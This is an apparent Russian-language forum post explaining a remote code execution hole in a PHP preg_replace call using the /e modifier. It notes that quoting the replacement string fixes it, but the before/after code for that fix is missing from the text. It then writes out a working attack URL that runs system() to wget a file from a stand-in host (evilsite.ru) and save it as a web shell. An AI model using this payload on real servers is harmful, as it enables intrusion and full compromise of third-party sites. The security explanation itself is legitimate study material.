Nightmarе, ты посмотри внимательно как ты парсишь текст:
PHP код:
preg_replace("#\[1\](.*?)\[/1\]#sie", "base64_encode(\\1)", $get);
Если на входе
Код:
http://127.0.0.1/1.php?get=[1]phpinfo()[/1]
то на выходе будет
Код:
base64_encode(phpinfo());
Сначала выполнится phpinfo(); - выведет результат на экран, а потом base64_encode(phpinfo()); выведет MQ==, т.е кодированный в base64 результат ВЫПОЛНЕНИЯ ф-ции phpinfo(), т.е. 1 (1 - ф-ция выполнилась успешно, 0 - нет) . Вся ошибка твоего кода в том, что ты не ставишь кавычек на заменяющую строку. Т.е. вместо
поставь
И твой код будет полностью защищен - выполнить какие-либо php-функции не удастся. Это по поводу безопасности..
Если же тебе надо, н.п. шелл залить, на вход отправь данные:
Код:
?get=[1]system($_GET[0])[/1]&0=wget+http://evilsite.ru/evilcode.txt+-O+shell.php
Он сработает. Почему? Интерпретатор будет интерпретировать строку
PHP код:
base64_encode(system($_GET[0]))
Сначала выполнится ф-ция system(), которая берет аргумент с GET параметра 0, а он у тебя
Код:
wget http://evilsite.ru/evilcode.txt -O shell.php
Синтаксис wget объяснять не буду...